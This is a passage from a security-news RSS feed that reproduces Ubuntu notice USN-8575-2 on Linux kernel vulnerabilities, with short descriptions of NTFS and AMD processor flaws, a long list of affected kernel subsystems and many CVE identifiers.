CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105,
CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659,
CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005,
CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206,
CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358,
CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232,
CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237,
CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266,
CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292,
CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113,
CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204,
CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416,
CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428,
CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452,
CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577,
CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683,
CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695,
CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699,
CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721,
CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123,
CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302,
CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315,
CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46319)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
